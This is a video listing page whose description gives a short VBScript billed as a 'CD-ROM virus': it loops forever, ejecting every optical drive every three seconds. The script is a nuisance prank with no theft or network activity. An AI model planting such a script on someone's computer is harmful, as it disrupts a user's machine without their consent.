CD-ROM Eject / Insert Virus

visibility 77 ครั้ง schedule 11 ปีที่แล้ว timer 1:13
open_in_new Dailymotion
Faizan Badshah
Code for CD-ROM Virus : <br /> <br />Set oWMP = CreateObject("WMPlayer.OCX.7") <br />Set colCDROMs = oWMP.cdromCollection <br />do <br />if colCDROMs.Count >= 1 then <br />For i = 0 to colCDROMs.Count - 1 <br />colCDROMs.Item(i).Eject <br />Next <br />For i = 0 to colCDROMs.Count - 1 <br />colCDROMs.Item(i).Eject <br />Next <br />End If <br />wscript.sleep 3000 <br />loop